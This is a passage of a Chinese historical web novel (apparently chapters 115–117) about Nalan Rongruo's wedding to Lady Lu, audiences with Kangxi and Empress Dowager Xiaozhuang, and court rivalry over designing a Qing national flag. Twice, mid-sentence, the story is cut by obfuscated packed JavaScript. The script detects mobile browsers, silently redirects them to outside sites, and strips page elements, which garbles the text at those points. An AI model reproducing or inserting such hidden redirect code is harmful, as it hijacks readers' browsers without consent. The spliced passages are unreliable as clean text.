随着一声高过一声的通传,他向阿玛和额娘会心一笑,然后向前一步,在宾客们的道喜声中,看向离自己越来越近的卢氏。 这是容若第五次见证卢氏不同的美: 在太皇太后身边初逢婚旨的她、在皇后娘娘当女史的她、在慈宁宫宫宴上为初次见面而精心打扮的她,以及在花园里精心备下百合花卉的她,各有各的千秋。 今日穿着吉服而来她,则像是一只衔枝而来的报春鸟,值得以诗相赠。 流光溢彩靓衣裳, 面如桃花着新妆。 相迎岂止为闻香? 钟爱谢娘雪絮章。 容若的目光随着她的移步而移动,他第一次感知到了“两颗心靠得很近”的感觉。 他问自己:难不成这就是娶正妻与纳侧室的不同?多了一份“责任与颜面并存”之感? 思思焉,我有佳人;心心焉,笙箫与鸣。 漫漫焉,我有佳人;久久焉,朝暮与伴。 悦悦焉,我有佳人;适适焉,中呼与爱。 他笑了笑,迅速看了明珠一眼又回头:想来阿玛管束我读《诗经》,却是在大婚之日最应景。大抵就是机缘吧? 礼官高喊:“请新郎新娘行拜堂礼。” 明珠夫妇端坐于主座之上,面带对儿子和儿媳的接纳与期待之色。 众宾客其乐融融,纷纷注目相贺,但见这一对新人郎才女貌,虽是奉旨成婚,但也般配无比。 容若翩翩风度,卢氏端美脱俗,真是: 细雪轻寒情何限?何须尽数。 但教今夜人相温。生暖处,傍天明。 容若何卢氏按照规矩指令,在一道道礼数之后,正式结为夫妻。 掌声与觥筹声交错,是最好最有力的佐证。 这对新人相视一笑,复暂别,暂相待。 在的热闹非凡的氛围之中,嬷嬷带着卢氏回了新房,容若继续在宴客厅中接受宾客们的祝福。 直到天色渐晚,结束最后一桌酒席,容若才去往新娘的所在之处。 * 洞房内,烛光馨馨。 盖头轻挑,伊人红妆;双盏交杯,醉酣春厢。 瓜果满盘,福运满当;玉人璧合,月圆情镶。 容若坐到卢氏身边,温眸看她:“尔谖,我之前问过你,世界上最悲伤的字是哪一个?你的回答我忘了,我想听你再跟我说一次。” 没想到婚后夫君的第一句话是这个。 卢氏红唇轻启,真挚而答:“是一个‘若’字。” 容若稍垂眸,“这样啊……” “公子,你在意我的答案吗?” ——还是我不可以说实话,会令你迁想悲伤? 卢氏半是后悔、半是幡然自醒。 “夜已深,你我该圆房了。” 容若自觉收起了之前准备过的小情话。 “我。” 卢氏小心地,“令公子……” 容若用掌心轻挡她的薄唇。 “我都知道,这个‘若’字,每个人在一生当中都说的多。所怀诚已矣,何须多思既往不可追?我是你的夫君,名字中带着一个‘若’字的夫君。我无悔这般择字,也无悔娶你这个人。” 听过然后忘却,事不过三。 容若决定:自己绝对不会问夫人第三次。 “尔谖,你什么都别想了,好好在我身边,陪我一起睡下吧!” 他躺了下去,拉了拉她的侧臂。 “春宵苦短,最该珍惜,夫妻共枕,欢喜温梦,一觉天明,再道一辈子好合,一辈子不相离。” 说,是如此说。 放,却是放不下。 * 半夜,卢氏从鸳梦中醒来,却发现枕边人不在。 她身边没有陪嫁丫鬟使唤,也不好问容若去了哪儿。唯有是自己披衣起身,稍作挽发,推窗望冷雪。 ——新婚之夜,新娘空守新房,这事如果传出去,后果不堪设想。 ——公子无错,定是有错在我。不可这般至天明,为妻当和他与共。 卢氏心中万分难过,终究是把悲伤情绪化作了:重新审视自己、改变自己与公子之间的契合度的动力。 她其实并不知晓自己哪里没让公子满意,从小到大,她都个率真的女子。 面对自己喜欢的人,她不会把真心话藏着;为了让自己深爱的人欢喜,她愿意付出时间却为他扭转四季;为了令自己成为一个好妻子,她从走出皇宫宫门的那一刻起,就决定了为他倾尽一生。 她不敢告诉公子,入纳兰家以后,她比他更不敢出错。 ——做不到像容若一样完美无挑,至少可以学聪明一点吧? ——得不到天下人的认可,至少可以在面对容若的时候得到他的肯定吧? 她转身,背靠着窗户。 新婚之夜,不可轻叹,不可落泪,再艰难也要熬下去。 她这般告诉自己: 尔谖,对正妻而言,方方面面,“仪行礼德“皆可以提前修养、后天得成。唯有“退而求其次“这五个字,是最残忍的。 说得再多“至少如何如何“,心中的觉悟无非是:一个完人才能配得上另一个完人的婚姻,世间少有。一个完人包容另一个平凡人的日子,久积必成憔悴。 为何公子就是不肯直说原委,偏要独自一人消受?留另一个人黯然销魂、孤伴寒窗? 夫妻之间,不该以迁就换安宁,不该以回避换厮守。 迁就,是已生疏离的退让,难成真爱。 回避,是暗示隔阂的举措,难互以沫。 念及容若怕冷,此刻他或许是在外头品味心事,卢氏心中一软,慌忙拿了一件貂绒斗篷走出洞房。 她步履匆匆,不舍他多一刻受冻,不忍他多一阵伤怀。 顾家顾人顾颜面,为他为己为将来。 她决定了,不管自己会留给他什么印象都好,她一定要到他身边去。 * 来到渌水亭。 回廊处,卢氏果然瞧见:容若一个人靠坐在连着柱子的兰轩上,看纷纷飘雪,思杳杳尘绪。他手中菩提珠串生香,腰间素佩一枚生辉。 容若的模样,就跟是玉雕似的,安然静美。 “尔谖,你来了。” 微笑温润如他。 “我来陪公子一起赏雪映月。” 贤婉柔和如她。 卢氏想把斗篷披在容若身上为他增暖的时候,却听见他道:“不必,你坐到我身边来,斗篷半叠用来盖膝就好。” 燕尔相依,纸间香瓣粘不动,不似飞雪穿帘幕。 看淡还真,粒粒水晶盐,数不尽、沾衣为谁甜? 卢氏温声道:“对别人,公子是大清第一才子、君侧第一陪臣;但是对我,公子就是我的夫君,值得我尽正妻的责任去深爱一辈子的人。” 容若半困而不觉困,他想:既然正妻没问自己离房的原因,那自己就不必说了。有些话,过多过少都是错,何须张嘴错上加错? 若字。 正妻说过两遍的最悲之字。 上善若水,无方无圆,终聚无尽善海。如此便可不嗔不怪不怨,只当自己的名字对卢氏而言,仅仅是一抹淡水之上的风烟。最悲之论,皆可散。 若即若离,诸行无常,得缘到之牵绊。如此便可含情融情适情,只当自己人如名字,不求所爱即所得,不讲被爱是应得。最悲之谈,应当自忘。 “尔谖,你静静地陪着我,我再待一会儿,就跟你回房。” “公子太轻了,动作是,心境是,灵魂也是。不扰人,也不扰天地。” “那就是唯有适重的、温热的、强韧的女子,才能把我留住,对不对?” “尔谖喜欢公子的那句词:一帽征尘,留君不住从君去【注2】。希望自己能与公子:不作孤鸿语,三生共许梁鸿侣。” “你熟读记下过多少我的诗词?可求甚解?” “流传出来的,一首不曾落下过。篇篇细读牢记,有自己的片面之解。” “膝上氅雪浸月光,归时满身谖草香。” 容若心生暖意,即兴道。 “留君渌水对春厢,从此两情兰缘长。” 卢氏初展才华,无缝联句。 房间里,对烛冉冉,婚喜融融,布景如旧。 罗帐内,鸳鸯枕红,活色生香,理应缠绵。 “尔谖,你怪我吗?” “不怪,公子会出走,一定有公子的理由。我忘却今晚自己去过哪儿了。” “那,我也只记得自己一直都在你枕边。” 容若侧拥卢氏在怀,许久不动,只用自己畏寒的身躯温暖着她。 后来,容若在三十岁那年回想起今夜场景,不禁潸然泪下。 只能把斑驳记忆都落做笔墨: 犹记当时双双温,那想如今月轮碎。 前事思量道寻常,微生尽抹还如客。 残雁不识情缱绻,秋花已做秋霜冷。 泼茶旧香或满院,长风吹散一人泪。 * 第二日,明府仍旧按照礼制:鼓乐齐鸣,喜气洋洋,迎来容若和正夫人卢氏成婚后的首日夫妻之喜。 容若和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300919|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢氏也是早早地就给明珠和觉罗氏请了早礼,待侧夫人袖云也向卢氏请了礼之后,纳兰一家才一同到厅堂用早膳。 纳兰家的长子娶正妻、圆房次日的早膳膳点特别有讲究: 一碗莲子红枣羹,象征着早生贵子;一盘相思豆,象征着永结同心;一锅八宝饭,象征着和和美美;香菇玉白菜,象征着金玉良缘常在。 觉罗氏道:“我们家常吃素点,尔谖你进了门,日后也要慢慢习惯。” 卢氏礼貌道:“额娘礼佛,公子饮食以清淡为主,尔谖都记下了。” “昨晚你俩相处的可还好?”明珠问卢氏,“容若可有好好待你?” “回阿玛,我与公子一枕天明,睁眼都是彼此嘴角挂笑的,新婚之夜最是能回味、能相忆。” “那就好。”明珠放下心来,“容若独一无二,在外牵动时局,在内背负家族,你作为他的正妻,日后也要一心一意为他着想,让他一边感受着你的好、一边做自己喜欢的事,才算是尽到了自己的责任,明白吗?” “尔谖谨记阿玛教诲,一定做好公子的贤内助。” 见儿媳懂事,明珠不禁感慨: “当年岭南发生农民起义,要不是你父亲卢兴祖率兵镇压,我都无法预知后果。可惜啊,这起义是平息了,你父亲却战死了,你母亲也舍弃你追随丈夫而去。好在是你嫁入了我纳兰家,否则你要是到索额图家去做了他的次子格尔芬的正室,有的委屈是你受的。” “阿玛别提过往之事了,儿不想尔谖伤心。”容若体谅妻子的感受,“索额图迟早是要让两个儿子娶妻的,那是他家的私事,阿玛您不必过早设想将来进索府的家门的女子感受。” “你怎么说是索家的两个儿子?”明珠一皱眉,“索额图的长子阿尔吉善不是流放到了蛮夷之地,音信全无,生死未卜吗?” “不,‘花鸟风月楼’那边飞鸽传书过来,秘密告知我:阿尔吉善千方百计挣脱了困境,正不计风雪地往京师回赶。” “这可是大事啊!”明珠琢磨起来,“你怎么不早点跟阿玛说?” “儿也是刚遇见白鸽。”容若笑了笑,“今早跟尔谖一起经过白玉兰树的时候,白鸽就飞来了。” “是啊,当时我还奇怪,”卢氏作证,“冬天怎么会有鸽子来。” 明珠问:“如今那只鸽子飞走了吗?” “取下密函后,儿已经让它飞回张纯修那里去了。” “嗯。”明珠点头,“此事你我父子要再做商讨,绝不能索额图年后添喜。” 说着,明珠又对儿媳多告知了一句:“容若喜欢浅黄色的花,唯独玉兰例外,他只爱白玉兰。日后你要是发现有‘白鸽‘来,可要在树梢辨仔细了,别让白玉兰、白积雪混合遮掩了白鸽子。” “阿玛提醒的是。”卢氏领悟道,“尔谖会留心着该留心之事。” * 却说—— 在容若和卢氏的成婚当日, 唯有徐乾学,刻意不解风情,在“花鸟风月楼”中大泣。 众宾客只听见那徐某人道:“我爱徒容若一来多病,二来无功名,有女子肯听了太皇太后的话嫁给他做正妻,是他的福气。” 言罢,他灌了一口酒,摆出一副莫名其妙的“不舍”模样来,叹惋自己不是明府的座上宾,像是得意门生娶妻这样的大事,怎么能少得了自己这个悉心教导、时时敦促学问的座师的身影呢? “如今本官手下的学生是个个出息了!哪料受皇恩最多、最盛的,还是纳兰性德啊!本官真恨不得现在就带着饱含师生情分的薄礼登入明府去,让大家来评评,今日的场子到底该不该有我徐乾学的份。” 沈宛把头一扭,懒得再看徐乾学的姿态和再听别人的议论。 要不是师傅宋应星管束,她就该潜入明府去、躲在暗处给容若捧场。 如今应了师傅的嘱托,扎身“花鸟风月楼”探听江湖情报算什么? 南明王朝的动向她是一个字都没听见,明太祖朱元璋陵寝的异象之谈也是没有一丁点话题风向,仅仅冷瞧徐乾学成了楼中主角罢了。 一盐商问:“徐大人你见多识广,那位‘名扬天下’的瓜尔佳氏独女云辞格格,真应了那句‘不嫁纳兰性德’的话,她现在怎么样了?” 徐乾学夸夸其谈:“出发来这儿之前,本官就叫了家仆去探。家仆给本官回话道:‘冷冷清清,大门紧闭。唯有看门人个个凶神恶煞,就跟是逮着了敢来嬉笑怒骂之人,就会给他一顿好打一样!’这会云辞格格正在闺房之中抹眼泪呢!没准到了年后,瓜尔佳家跟纳兰家绝交了。” 另一茶商道:“真要是如此,那卢氏可是个大罪人。我听说那卢氏无父无母,也不见得有配得上纳兰容若的资质和才气,怎么就得了这天下女子都求之不得的‘容若正妻’之位?” “平淡是真纳!”徐乾学连连摆手。 “太皇太后正是看中了卢氏女的平和温婉,没有特别出彩之处,才将她指给纳兰性德。真要是换了心机重的蛇蝎美人,那太皇太后就是作孽,怕是纳兰性德的祖王父多尔衮也会从坟墓里跳出来,夜里入梦骂上旧情人几句。” 沈宛冷笑。 ——这会儿官云辞和禹之鼎都在容若的喜宴上坐着呢,礼到人到,共沾喜乐,哪来的“闺房独泣”之说? ——你怎知卢氏姑娘不懂心机?她为了容若好,可是试过不少不为人知的方法。岂是你徐乾学可以妄论她“平庸”的? 楼主张纯修从繁忙的事务中抽身,上前道:“徐先生,你不在家中思过,来我这场子做什么?” “本官借着天恩自由了!”徐乾学抬头挺胸,“皇后娘娘再怀龙胎!!” 众宾客皆惊。 叫了数声“安静”之后,张纯修对那徐乾学稍作警告。 “徐先生,你不可胡说!” “本官怎么敢造谣于天下?”徐乾学一本正经,“张楼主,你这场子就是个小天下啊!” 【注1】女子嫁入男子的家门后, 1、对男方的父母:汉人叫法为公公和婆婆,满人叫法为阿玛和额娘。 2、对自己所嫁的对象:汉人叫法为夫君,满人按照身份叫,举例:卢氏叫容若“公子”,乾隆之女十公主叫丰绅殷德“额驸”,福晋管铁帽子亲王岳乐叫“王爷”。 【注2】出自纳兰性德《点绛唇》。 116.第116章 慈宁内,孝庄得知赫舍里皇后再度怀上龙胎后,万分欣喜,亦是同意了玄烨的“免除一些臣子的罪过,共享皇泽恩年”之举,来为即将来世的嫡子积功德。 “朕近来多去后宫,承蒙列祖列宗庇佑,才能让皇后又添一喜。”玄烨吃着红枣莲子糕,“朕自然也是没有忘记别的嫔妃,真正均沾雨露于六宫” “咱们皇上的确孝顺。”苏麻喇姑笑道,“世孙满堂,老祖宗您可是有得享福了。” “皇上有这份关心家事的心,我高兴啊!”孝庄看着同桌的帝后,“想来太宗皇帝的嫡妻孝端皇后无子,顺治皇帝为了个董鄂妃,非要闹到废后的地步,中宫也是无所出。好在是康熙皇帝与赫舍里皇后恩爱,天赐良子。” 赫舍里皇后道:“臣妾一定在平日里多加留神,顺利为皇上和老祖宗诞下小阿哥。” 孝庄道:“皇后怀孕,后宫事务不宜劳累操持,皇上应当叫得力的妃子为皇后分忧才是。” 玄烨心中有人选,却问:“照皇阿奶看,谁合适?” “惠妃稳重,正宜暂时行使协理六宫之责。”孝庄拿了主意,“是该让她去历练历练了。” “朕与皇阿奶所想一致。”说罢,玄烨看向顾问行,“顾总管,把朕的意思传达下去,让人拟旨来看。” “奴才这就去办。”应完,顾总管又问,“那内务府那边,是不是也该准备着了?” “不错,你叫梁九功一并去内务府传话。” “奴才明白。” 顾总管刚走,就有掌事太监来报:“皇上,太皇太后,皇后娘娘,纳兰公子和卢氏夫人来了。” “好,快带他们进来。”孝庄悦颜道,“喜乐之事,与人分享的好。” * “太皇太后万安。皇上吉祥,皇后娘娘吉祥。” 纳兰和卢氏并行跪礼。 “容若谢太皇太后指了一桩好姻缘。”纳兰向孝庄献上精心准备的谢礼,“容若跟尔谖恩偕美满,明府诸事和顺,待迎新年。” 孝庄叫了苏麻喇姑把谢礼收下,道:“喜结良缘之后便是早生贵子,我亦是盼着你阿玛和额娘能够早日添上孙子孙女。”孝庄复一笑,“你们孩子要是跟皇后的嫡子年龄相近,日后我就给个特别恩典,准许你们常带孩子进宫来陪伴小阿哥。” “那皇阿奶也要等上至少六年。”玄烨记得清清楚楚,“纳兰是六岁来朕身边做伴读的,他跟卢氏的儿子要是走一样的道路,那也必须等到六岁以后。” 纳兰嘴上应了“是”,心里依旧在嘀咕: 为什么皇上和太皇太后,非要认定赫舍里皇后怀的是男孩?万一是位公主呢?他俩会失望吗?皇后会自责吗? 至于我,不管袖云和尔谖是不是继承了额娘的范例,所出都是儿子,只要是我的孩子,我都会当他们的好阿玛。 苏麻喇姑按照孝庄的意思,拆开了纳兰献上的回礼。 “老祖宗,纳兰公子为您雕刻了玉白菜和抄写了一卷经书。” “国‘富’民‘安’。”孝庄明白纳兰的心意,“两样东西我都喜欢,孩子,你有心了。” “我跟尔谖都接住了太皇太后的心,才能向太皇太后报以真心和孝心”纳兰彬彬有礼,“我与尔谖亦是谢过皇上和皇后娘娘,祝爱新觉罗皇室多子多福,大清江山永固。” “纳兰,朕今日正好披了一件貂绒斗篷,就当作新年礼物提前送了你吧!”玄烨看向苏麻喇姑,“苏嬷嬷——” “谢皇上。”从苏麻喇姑手中接过玄烨的好意之后,纳兰的貂绒斗篷披在了卢氏身上。 玄烨心中有两种揣测:一是纳兰宠妻,与卢氏同沐皇恩;二是纳兰对这份恩惠压根不稀罕,他心里也没有那么喜欢卢氏,只把卢氏当成皇恩的载体。 但是再看卢氏的模样,却是粉面含笑,感动不已。 “本宫也有一样东西要赏赐给卢氏。” 赫舍里皇后从手上取下一个镯子,郑重为卢氏戴上。 “镯子圆润,代表夫妻同心。尔谖,本宫希望你嫁入纳兰家后,关切公子上心家事,做个得人心的好妻子。” 卢氏感激道:“尔谖谢皇后娘娘赏赐,谨遵皇后娘娘教诲,一定一心一意待公子、行德守矩做个让阿玛和额娘满意的好儿媳。” 玄烨一观察纳兰脸上的表情,只觉得纳兰对新婚妻子的爱: 是一种“逼迫自己这么做”的表现,好似在人前做出“滴水不漏”的“恩爱共情”的模样来,他就不会被人挑错一样。 玄烨起身,道:“纳兰,你跟朕来,朕有话要单独问你。” 孝庄以为玄烨要说国事,就没有多做过问,至于皇后和卢氏一同,再续桌面话题。 “朕看得出来,从初见、碰面到结为夫妻,这三个阶段为止,你没有从心底里爱过卢氏。” “皇上说什么阶段?”纳兰不隐瞒,“一个带‘若’字的人,对卢氏而言,本就活在假设和遗憾里。同一个问题我问了她两次,也就不必再向她确认什么了。她也从不叫我的名字,大抵是不喜欢那个‘若’字的缘故。” “你有你的想法。”玄烨指出,“她有她的想法,她未必是把你这个人等同于一个‘若’字看,可能她自己也没有意识到:自己会遭你这般貌合心离。” “了解我的人,莫过于是皇上。”纳兰觉得释然,“皇上不在太皇太后面前戳穿我,我对此已经感激不尽。” “那你也不能这样跟卢氏过一辈子。”玄烨一摆手,“表面的和好,心中的梳理,即便是你能够均衡把握、不让别人看出破绽,你也是惆怅入肠、抑郁而不得解,难道不是吗?” “那就请皇上开导我,拯救我。” “朕能拿你怎么样?难不成为你挑出一个理由来,直接让你跟卢氏和离?” “左右都是我怯懦。”纳兰对自己生恨,“换了别人,换了任何一个满洲男儿,早就把话跟正妻挑明了来说,我却不知道自己的顾虑什么,对尔谖说不出口。仿佛那些话一旦明说,就会两败俱伤一样。” “好,平日里朕对的诗词歌赋横夺和强占强改了不少,今日朕就教给你一套说词来作为补偿——” “皇上,不必。” “你这么跟卢氏说:如果‘若’字是世上最悲伤的字,那就意味着纳兰容若是世上最悲伤的人。卢氏要是有点自知之明,就该好好向你赔不是。” “得了一句道歉,也不过是让自己的内心好受些罢了。不等于她那句话从此消失,更不等于她那句话没有说过。” “她知错,你释怀,朕就觉得自己替太皇太后摆平了一桩错事,朕会自满会高兴。”玄烨把头一扬,“怎么样纳兰?你觉得朕自私吗?” “所以说皇上就是皇上,言简意赅,心迹了然。我宁愿皇上自私,而不是大度地对这事不管不问。” “那朕就拭目以待,你尽快跟卢氏打开天窗说亮话,然后不要忘记国旗之事。” “好,我答应皇上。” 君臣二人回到太皇太后和皇后身边,恰好听见了年夜饭的话题。 玄烨道:“朕今年的‘岁末把笔’,要纳兰陪着。” 纳兰单膝跪地:“容若请太皇太后恩准。” 孝庄见纳兰主动,就恩准了他作陪玄烨: “孩子,你要是愿意,以后年年岁岁都陪着皇上一起写新年贺词我也是同意的。皇上身边,再也没有像你这样的好臣子了,只有你才能让皇上在除夕夜、在新年伊始做个好皇上——威风凛然,抱负在胸,真正以大清百姓为念,以祖宗基业为重,” 纳兰向小庄点头,“长长久久,我与皇上、太皇太后牵绊常在;岁岁平安,臣伴君侧,不负不离。” “答应了可就不许反悔。”玄烨认真地环指了桌面一圈,“朕、皇阿奶、皇后和苏嬷嬷全都听见了。” 纳兰神清气爽地跟玄烨一击掌,“我不反悔。” 卢氏脸上保持的寻常表情,内心却因为皇上方才唯独少念了她的名字而一震。 ——如果皇上是刻意,那就意味着在皇上眼里,我有过失或是份量轻,没资格成为这个君臣之约见证者和旁听者。 ——如果皇上仅仅是疏漏,那就是……不,不是。皇上没有疏漏,不然公子一定会提醒皇上,公子没有为我说话,就表示在公子看来,我这个正妻的确是哪里有所闪失、哪里的确有错。 * 回去的路上。 容若问卢氏:“尔谖,怎么了?” 卢氏见两侧无人,便放下了在宫中的拘谨,道:“皇上跟公子说了什么,我不便问,但是我有错的地方,请公子当面指出。” “那个‘若’字——”容若吸了口气,抬头,目光移过伞面看漫天飘雪,“尔谖你有无生过‘纳兰容若,人如此字’的念头?” “没有。”卢氏应的很肯定,“我只是把‘若’字视为一个横在过去与未来之间的字,独自感慨:往事不可追、后路不可测罢了。怎会上升到‘容若’二字哪里遗憾、哪里不好的地步?” “那就是我误会了。”容若淡笑,“现在解开了,一切天高云朗。” 说罢,容若合上手中伞,牵着卢氏的手缓步前行。 “公子是不是还想对我多说几句话?” “嗯。今夜‘若’许闲乘月,只从‘容’身去,不望图麟阁,惟思卧鹿门。” “公子在思虑明索党争之事?” “回去以后,点灯渌水亭,为皇上为阿玛设计大清国旗。大婚以来,数日未动过笔墨,只怕手感生疏。渌水亭四面透风,但想着有尔谖你陪着我共沐月色、忘却派阀争斗,就不觉得冷。” “是。我会一直陪着公子,无论公子画多久。” 容若一边踩雪、一边在悄然留意卢氏的才情。 方才他的话,用了两个典故: 一个是陆游的典,隐喻自己对美好生活的期待; 另一个是李德裕的典,李德裕是大唐“牛李党争”中的关键人物,图麟阁是悬挂功臣画像的地方,鹿门是隐士的居宿之地,隐喻自己爱读商隐诗,自知现今的“明索党争”与旧时的“牛李党争”相比,有过之无不及,自己跟商隐一样,都是其中的一粒棋子罢了。 这些卢氏都听出来了。 容若心中很是欣慰,娶妻是当才情相当,不然夫妻之间只聊寻常琐事、不谈诗情画意,岂非好似圆月独缺一角? ——若是尔谖懂得政事,更佳。 ——不懂,也罢。尔谖能知典拆典,已是胜过寻常女子许多,何须让她也沾染了党争的尘垢? 容若不禁一笑,怎么自己也说出一个“若”字来了? “若”字用在正妻身上,不带任何杂念,是第一次。 * 索党密室。 索额图与几个心腹幕僚一同坐在充满了“年味”的房间之中。 那些幕僚虽不知道房间之中的“喜庆装扮”是索额图什么时候、找谁布置的,但都无一例外一句不夸这个,只以讨论正事为主。 比如说:华美的珊瑚树,类似狼尾的大型挂饰、镶嵌宝石的佩刀、纯金制作的神兽摆件……只各在其位安静搁着,跟无声的陪衬品似的,看似多余又不多余。 真是: 物物无意人有意,雪似无心向西东。 何论年关要紧事,竟在一室密谈中。 已近岁末偏相争,得失谁辨谁谓聪? 十色何止珠光气,还看乾坤主真龙。 索额图用指关节叩击着桌面,道: “这新国旗要是在洋人大臣南怀仁、崇洋贵公子纳兰性德、媚外画师禹之鼎的合力之下被设计出来了,怕是连老汗王努尔哈赤都会被气得活过来!” “可不是吗?”兴必察表现出担忧,“万一那三人不安好心,把咱们的黄、白、红、蓝八旗……都给改没了呢?” “还真别说,这可是影响大清命脉的大事!”汉人李光地同样表示了不满,“皇上怎么能由得明党之人胡来?” “明珠真是不怕天打雷劈!”索额图怒瞪桌面上的一份奏章,“为了邀功,铤而走险,不顾王朝实际;为了炫子,不折手段,毫无为臣之本。” 三人齐声问:“索大人,你看我等如何是好?” “李光地,你的眼光不是毒的很吗?等到新国旗出来了,你就把能挑出错来的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311007|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都一一写下来交给本官,本官非让明党的祸国之心昭然若揭不可!” 李光地后退了一步,面露胆小退避之色。 “这皇上要是在兴头上,被索大人您这么一扫,可是不但不会听劝,反而会把怒火撒在索党这一边的呀!” “难道还要等于成龙到御前来骂驾不成?”索额图指向金銮殿方向,“满朝上下,除了本官,谁还能阻挡明珠父子动摇开国之初就定下来了的八旗制度?” “想必朝中也有许多大臣跟索大人您有相同的担心。”李光地一叹,“就是怕在日后,八旗制度名存实亡,大家都要看着‘真龙天子’来说话和做事了。” “哼!”索额图把原本准备好的奏折撕了个粉碎,“一旗顶八旗,本官不会让明珠父子得逞的!!” 三位幕僚大惊,遂问:“索大人,您可想好扳倒明珠父子的计策了?” “招数倒是有几招。”索额图狡诈一笑,“你们说说看,是用快准狠的好,还是用步步递进的好——” * 明月当空,微风细雪。 数盏地灯,一排明烛。 容若坐在渌水亭的石桌面前,仔细画自己心中的大清国旗。 之前听阿玛说:“你以为那个廉吏于成龙得知此事后,没有八百里加急上书吗?他除了大骂你我父子之外,还连着一块指责太皇太后的不是。” “咱们纳兰氏本就跟睿王爷多尔衮关系紧密,于成龙要拎出这层关系来说太皇太后偏私纳兰氏,也在情理之中。” “倒不是这层关系。”明珠摇了摇手指,“而是于成龙认为:三月份正值孝庄老祖宗圣寿,万一皇上一时孝心大发,非要在大清国旗上面多加一只凤凰来彰显太皇太后的份量,那岂非大乱朝纲与法纪?” “简直荒唐!”容若气道,“我看于成龙不是进谏表忠心,而是巴不得制造乱子来搅得皇上没心情过年吧?” “儿啊,皇上那边你好歹劝着点,别真称了于成龙的心意,使得大清国旗上多出一只凤凰来。” “阿玛您在说什么?”容若坚信,“这国旗代表的是大清的国威,哪来的什么龙凤呈祥?太皇太后即便是知道,也不会答应。” “赫舍里皇后可是初闻有孕,皇后掌管后宫凤印,也可以称为:凤凰。” 容若反驳道:“儿真是不明白,阿玛您的思维怎么还跟着凤凰走?凤凰这个元素是于成龙提出来的,目的就是想败坏皇上的名声、和让你我父子在国旗这件事情上背负后世骂名。” “皇上可是从头到尾都没有对‘凤凰’一词说过一个‘不’字。”明珠斟酌分析,“我只怕皇上真的是有过类似想法,恰好被于成龙的折子撞了个正着。才……忍着没有发作啊!” “请恕儿说句话:皇后娘娘的嫡子承祜因为承受天恩过多和太医之祸,才早早夭折。要是这第二胎再有什么闪失,可就说不过去了。所以阿玛您上朝之时,应当明确奏明皇上:大清国旗绝不可以有‘凤凰’元素,不管这凤凰是代表太皇太后还是皇后,都是极大的不妥。” “这话你私下对皇上说,我明珠不能说。” “儿知道了,会仔细遣词造句来劝。” 回到当下。 容若问卢氏:“尔谖,来年太皇太后圣寿和皇后娘娘诞下龙胎这两桩喜事都会降临,你说是不是彩凤呈瑞?若——” “若是这儿,”容若浅笑,指向稿纸,“这条龙的旁侧多加了一只凤凰,会怎样?” “尔谖以为:保家卫国是男子之事,不可有别的元素干扰,否则不利于军心稳定。另外,天子是九五至尊,国旗是大清的象征,凤凰不可与天子齐驱。” “你真是个明事理的人。”容若搁下笔,起身走动了几步,“那你说龙头的朝向可有讲究?” 卢氏稍收拾桌上废稿,道:“向左向右,不如向前看。更好的山河大观,总在泱泱前方。” “我也是这么想的。”容若笑道,“作战,需要兵将合力,一往直前!龙既代表天子,又代表天运,兵将仰望,向心力之所在。” 卢氏对着稿纸看了好一会儿,道: “公子,你设计的国旗包边纹样也很独特。祥云的图案像是长白山的云,青灰色的镶条像是长城的砖块。是因为公子在勾勒的时候,心中抱着‘满汉一家’的信仰吗?” “是啊,我始终是皇上的这一政策的卷入者、践行者和反馈者。” 容若过去与妻子并手捧卷。 “我在以小见大、以物传神地描绘‘长白山’和‘长城’的时候,感觉自己的灵魂也悄悄地融了进去,于是,就自然而然地对自己说:‘满汉信仰并存,才叫大一统。’希望禹画师着色之后,皇上能够明白我的用意和改进缘由。” 卢氏温婉问:“公子可以再画一幅一样的线稿吗?” 容若一下子猜透:“你想着色?” “嗯。”卢氏在心中有所期许,但是容若的反应跟她所想不同,“如果公子问我‘怎么了’或是‘为什么’,我就能跟公子多说几句话。” “好,以后我把回应的机会留给你。” 这么回应的时候,容若浑然不觉自己的态度在妻子听来,就跟是“我有所求,你才有所应”一样。 着席之后,容若重新起笔,“现在,我就为你画一幅一模一样的线稿。” 他仍旧是按照自己的方式来做事,然而妻子,却是慌了: 她不知道公子这般的行动力和执着力是为哪般,更不敢猜在公子专心致志的模样之下,是否认为自己有被她冒犯。 “我上色的时候,可以让公子陪着吗?” “你我夫妻之间不用这么客气,你把自己要用到的颜色告诉我,我帮你调。” 卢氏静静靠近,目光落在容若的脸上。 他画他的线稿,她看她的夫君,各有所安。 ——容若应是不会跟我计较的。 卢氏安慰自己。 一个是值得用千百条理由来珍惜的偏偏浊世佳公子,另一个是刚刚进入他的世界的新婚妻子,这种似似而非、难言哪里不对劲的感情,等待一个“可等而不可求”的契机去磨合、去破局。 117.第117章 纳兰容若在养心殿内与康熙皇帝讨论大清国旗的事情的时候,明珠在侧阁等候。 从梁九功梁公公口中听得“赫舍里皇后怀孕期间,由惠妃娘娘协理六宫”的消息,明珠大喜。 接了明珠的赏钱后,梁九功道:“奴才在纳兰公子身旁侯差事,没有不尽心的;奴才跟着圣驾去往后宫时,也是帮大人您观察着皇上的心情和各宫主位的风向的。” 明珠笑道:“顾总管事多,难免没法事事周全,一切还得多靠梁公公你。” “明珠大人切勿抬举奴才,奴才所做,一切都是份内之事。” “好,本官不碍梁公公你的时间了,你就先退下吧!” 